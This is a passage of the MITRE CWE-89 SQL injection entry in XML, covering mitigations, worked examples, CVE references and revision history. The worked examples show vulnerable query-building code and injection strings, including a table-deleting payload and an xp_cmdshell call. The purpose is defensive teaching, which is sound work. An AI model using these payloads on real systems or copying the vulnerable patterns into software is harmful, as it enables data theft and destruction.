                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.</xhtml:p>
                  <xhtml:p>Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.</xhtml:p>
                  <xhtml:p>When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-21">
               <Phase>Architecture and Design</Phase>
               <Strategy>Enforcement by Conversion</Strategy>
               <Description>When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-39">
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.</xhtml:p>
                  <xhtml:p>If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.</xhtml:p>
		  <xhtml:p>Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.</xhtml:p>
                  <xhtml:p>In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-29">
               <Phase>Operation</Phase>
               <Strategy>Firewall</Strategy>
               <Description>Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-16">
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>...<xhtml:br/>string userName = ctx.getAuthenticatedUserName();<xhtml:br/>string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";<xhtml:br/>sda = new SqlDataAdapter(query, conn);<xhtml:br/>DataTable dt = new DataTable();<xhtml:br/>sda.Fill(dt);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The query that this code intends to execute follows:</Body_Text>
               <Example_Code Nature="Informative">
                  <xhtml:div>SELECT * FROM items WHERE owner = &lt;userName&gt; AND itemname = &lt;itemName&gt;;</xhtml:div>
               </Example_Code>
               <Body_Text>However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>name' OR 'a'='a</xhtml:div>
               </Example_Code>
               <Body_Text>for itemName, then the query becomes the following:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';</xhtml:div>
               </Example_Code>
               <Body_Text>The addition of the:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>OR 'a'='a</xhtml:div>
               </Example_Code>
               <Body_Text>condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>SELECT * FROM items;</xhtml:div>
               </Example_Code>
               <Body_Text>This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.</Intro_Text>
               <Body_Text>If an attacker with the user name wiley enters the string:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>name'; DELETE FROM items; --</xhtml:div>
               </Example_Code>
               <Body_Text>for itemName, then the query becomes the following two queries:</Body_Text>
               <Example_Code Nature="Attack" Language="SQL">
                  <xhtml:div>SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';<xhtml:br/>DELETE FROM items;<xhtml:br/>
                     <xhtml:i>--'</xhtml:i>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.</Body_Text>
               <Body_Text>Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.</Body_Text>
               <Body_Text>If an attacker enters the string</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a</xhtml:div>
               </Example_Code>
               <Body_Text>Then the following three valid statements will be created:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';<xhtml:br/>DELETE FROM items;<xhtml:br/>SELECT * FROM items WHERE 'a'='a';</xhtml:div>
               </Example_Code>
               <Body_Text>One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Target fields that are not quoted</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Find ways to bypass the need for certain escaped meta-characters</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>Use stored procedures to hide the injected meta-characters.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.</Body_Text>
               <Body_Text>Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.</Body_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)<xhtml:br/>is open itm_cv for<xhtml:br/>' SELECT * FROM items WHERE ' || 'owner = '|| usr || ' AND itemname = ' || itm || ';<xhtml:br/>end get_item;</xhtml:div>
               </Example_Code>
               <Body_Text>Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:</Intro_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE</xhtml:div>
               </Example_Code>
               <Body_Text>Where $user_input is taken from an untrusted source.</Body_Text>
               <Body_Text>If the user provides the string:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>'; exec master..xp_cmdshell 'dir' --</xhtml:div>
               </Example_Code>
               <Body_Text>The query will take the following form:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=''; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE</xhtml:div>
               </Example_Code>
               <Body_Text>Now, this query can be broken down into:</Body_Text>
               <Body_Text>
                  <xhtml:ol>
                     <xhtml:li>
                        <xhtml:div>a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='';</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>an MS SQL comment: --' ORDER BY PRICE</xhtml:div>
                     </xhtml:li>
                  </xhtml:ol>
               </Body_Text>
               <Body_Text>As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This code intends to print a message summary given the message ID.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$id = $_COOKIE["mid"];<xhtml:br/>mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer may have skipped any input validation on $id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.</Body_Text>
               <Body_Text>While $id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>1432' or '1' = '1</xhtml:div>
               </Example_Code>
               <Body_Text>This would produce the resulting query:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'</xhtml:div>
               </Example_Code>
               <Body_Text>Not only will this retrieve message number 1432, it will retrieve all other messages.</Body_Text>
               <Body_Text>In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:</Body_Text>
               <Example_Code Nature="Good" Language="PHP">
                  <xhtml:div>$id = intval($_COOKIE["mid"]);<xhtml:br/>mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");</xhtml:div>
               </Example_Code>
               <Body_Text>However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This example attempts to take a last name provided by a user and enter it into a database.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>$userKey = getUserID();<xhtml:br/>$name = getUserInput();<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># ensure only letters, hyphens and apostrophe are allowed</xhtml:i>
                     <xhtml:br/>$name = allowList($name, "^a-zA-z'-$");<xhtml:br/>$query = "INSERT INTO last_names VALUES('$userKey', '$name')";</xhtml:div>
               </Example_Code>
               <Body_Text>While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-42258</Reference>
               <Description>SQL injection in time and billing software, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-42258</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-27101</Reference>
               <Description>SQL injection in file-transfer system via a crafted Host header, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-27101</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-12271</Reference>
               <Description>SQL injection in firewall product's admin interface or user portal, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-12271</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-3792</Reference>
               <Description>An automation system written in Go contains an API that is vulnerable to SQL injection allowing the attacker to read privileged data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-3792</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0366</Reference>
               <Description>chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0366</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2790</Reference>
               <Description>SQL injection through an ID that was supposed to be numeric.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2790</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2223</Reference>
               <Description>SQL injection through an ID that was supposed to be numeric.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2223</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6602</Reference>
               <Description>SQL injection via user name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6602</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5817</Reference>
               <Description>SQL injection via user name or password fields.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5817</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0377</Reference>
               <Description>SQL injection in security product, using a crafted group name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0377</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2380</Reference>
               <Description>SQL injection in authentication library.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2380</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-11508</Reference>
               <Description>SQL injection in vulnerability management and reporting tool, using a crafted password.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-11508</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>SQL injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>SQL Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>SQL injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A1</Entry_ID>
               <Entry_Name>Unvalidated Input</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Injection Flaws</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>19</Entry_ID>
               <Entry_Name>SQL Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-89</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Oracle Coding Standard for Java">
               <Entry_ID>IDS00-J</Entry_ID>
               <Entry_Name>Prevent SQL injection</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="108"/>
            <Related_Attack_Pattern CAPEC_ID="109"/>
            <Related_Attack_Pattern CAPEC_ID="110"/>
            <Related_Attack_Pattern CAPEC_ID="470"/>
            <Related_Attack_Pattern CAPEC_ID="66"/>
            <Related_Attack_Pattern CAPEC_ID="7"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 1: SQL Injection.&#34; Page 3"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 12, &#34;Database Input Issues&#34; Page 397"/>
            <Reference External_Reference_ID="REF-867"/>
            <Reference External_Reference_ID="REF-868"/>
            <Reference External_Reference_ID="REF-869"/>
            <Reference External_Reference_ID="REF-870"/>
            <Reference External_Reference_ID="REF-871"/>
            <Reference External_Reference_ID="REF-872"/>
            <Reference External_Reference_ID="REF-873"/>
            <Reference External_Reference_ID="REF-874"/>
            <Reference External_Reference_ID="REF-875"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;SQL Queries&#34;, Page 431"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 17, &#34;SQL Injection&#34;, Page 1061"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-89"/>
         </References>
         <Notes>
            <Note Type="Relationship">SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Modes_of_Introduction, Name, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Name, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Likelihood_of_Exploit, Modes_of_Introduction, Observed_Examples, References, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
